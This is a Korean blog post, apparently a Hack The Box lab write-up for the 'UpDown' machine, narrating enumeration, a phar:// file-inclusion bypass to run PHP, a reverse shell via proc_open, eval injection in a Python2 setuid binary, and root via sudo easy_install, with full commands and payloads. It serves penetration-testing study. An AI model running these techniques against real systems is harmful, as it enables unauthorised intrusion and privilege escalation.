
정보 수집 (Enumeration)
rustscan으로 열린 포트를 스캔했다.
rustscan -a 10.129.227.227 -- -sC -sV -oN nmap

웹 루트를 디렉터리 브루트포싱하니 /dev 경로가 확인된다.
gobuster dir -u http://siteisup.htb/ -w /usr/share/dirb/wordlists/common.txt -t 5 -o gobuster


vhost 퍼징으로 dev.siteisup.htb 서브도메인도 찾았다.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-spanish.txt -H "Host: FUZZ.siteisup.htb" -u http://siteisup.htb/ -fs 1131


gobuster dir -u http://siteisup.htb/dev/ -w /usr/share/dirb/wordlists/common.txt -t 5 -o gobuster.dev

그 결과 노출된 .git 디렉터리를 발견했다.

git-dumper로 저장소 전체를 복원했다.
git-dumper http://siteisup.htb/dev/.git/ ./dump

복원한 소스를 보면, dev 앱에 접근하려면 특정 헤더가 필요하다.

changelog.txt를 보면 업로드 옵션을 제거하고 admin 패널을 만들 계획이라고 한다.

Burp suite 옵션에서 헤더 추가가 가능하다. Special-Dev: only4dev 헤더를 추가하였다.


헤더를 추가해 다시 dev.siteisup.htb를 요청했다.

그러자 접근 제한이 풀리고 dev 페이지가 떴다.

초기 침투 (phar LFI → disabled_functions 우회 RCE)
dev 앱은 URL 점검 도구이자 파일 업로드 기능을 제공한다. 소스를 보면 업로드에 다음 제약이 있다.
- file size가 10000보다 크면 안됨
- php, php[0-9], html, … 등 확장자 필터링


확장자 필터 탓에 .php를 그대로 업로드할 수는 없다. 하지만 이 앱은 ?page= 파라미터로 지정한 파일을 include하기 때문에, 업로드한 파일을 PHP로 실행시킬 우회로가 된다.
그 수단으로 PHP 스트림 래퍼 중 phar://를 사용할 수 있다. phar://는 zip,tar 형식의 아카이브를 확장자가 아닌 내용 기준으로 열어 내부 파일에 접근하며, 그 경로가 include되면 아카이브 안의 PHP 코드가 실행된다.
그래서 phpinfo()를 실행하는 php 파일을 zip으로 압축했다. 다만 업로드 시 .zip 확장자가 필터링되므로, 내용은 zip 그대로 두고 확장자만 .txt 로 바꿔다.
echo "<?php phpinfo(); ?>" > info.php
zip info.zip info.php
mv info.zip info.txt
이후 info.txt 파일을 업로드하였다.
uploads 디렉터리에 가보면 폴더가 존재한다.

해당 폴더에 들어가면 업로드한 info.txt 파일이 존재한다.

실제로는 zip 포맷이기 때문에 phar 익스텐션을 사용해서 조회를 해준다.
조회하면 php 코드가 실행되어 phpinfo 화면이 뜨게 된다.
http://dev.siteisup.htb/?page=phar://uploads/9deffa2be30f164c00476dce5c4ba326/info.txt/info

phpinfo 화면을 보면 system, exec, shell_exec 등 시스템을 실행할 수 있는 함수들이 제한되어있는 것을 알 수 있다.
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen

disabled_functions 우회 (proc_open)
사용 가능한 실행 함수를 확인하기 위해 dfunc-bypasser 도구를 사용했다.
필수 헤더를 추가하기 위해서 소스코드를 수정했다.
38번째 줄을 고쳐 요청에 필수 헤더를 넣었다.

실행하면 proc_open 함수를 사용할 수 있음을 확인했다.
python2 dfunc-bypasser.py --url "http://dev.siteisup.htb/?page=phar://uploads/b4aea27c7d95a947ab01467d50eac5eb/info.txt/info"

proc_open 기반의 리버스 쉘 코드를 사용했다.
리스너 실행 후, 리버스 쉘을 업로드하고 실행하면 쉘에 붙게 된다.
rlwrap nc -nvlp 443

수평 이동 (setuid 바이너리 input() 인젝션)
/etc/passwd를 보면 로그인 가능한 일반 계정으로 developer가 있다.
**root:x:0:0:root:/root:/bin/bash**
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
...
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
**developer:x:1002:1002::/home/developer:/bin/bash**
developer 홈의 dev 디렉터리에 siteisup과 siteisup_test.py 파일이 있다.

함께 있는 파이썬 코드를 보면 input()으로 URL을 입력받아 점검한다.

Python2의 input()은 입력값을 그대로 eval하기 때문에, 파이썬 표현식을 넣으면 코드 실행이 된다.

먼저 id를 실행해 인젝션이 되는지 확인했다.
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:__import__('os').system('id')

이어서 쉘을 띄우는 인젝션으로 developer uid 권한의 쉘을 얻었다.
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:__import__('os').system('/bin/bash')

user.txt 파일이 developer 그룹이어야 읽을 수 있기 때문에 uid만 developer인 현재 권한으로는 해당 파일을 읽을 수 없다.

다행히 .ssh 경로에 id_rsa가 있어, 이 키로 developer로 정식 로그인하면 그룹 권한까지 얻을 수 있다.

키를 kali로 가져와 SSH로 접속했다.

권한 상승 (sudo easy_install)
sudo -l로 확인하니 easy_install을 root 권한으로 실행할 수 있다.
sudo -l

확인해 보니 파이썬 스크립트다.
file /usr/local/bin/easy_install

내용을 보면 easy_install(setuptools)을 실행하는 래퍼다.
cat /usr/local/bin/easy_install

GTFOBins를 확인하니 easy_install로 권한 상승이 가능하다.
https://gtfobins.org/gtfobins/easy_install/

이 취약점을 활용해 root 권한을 획득했다.
echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' > setup.py
sudo /usr/local/bin/easy_install .

'HTB' 카테고리의 다른 글
| HTB - Escape (0) | 2026.11.08 |
|---|---|
| HTB - Cascade (0) | 2026.11.08 |
| HTB - Support (0) | 2026.11.06 |
| HTB - Jeeves (0) | 2026.11.04 |
| HTB - Mailing (0) | 2026.11.02 |
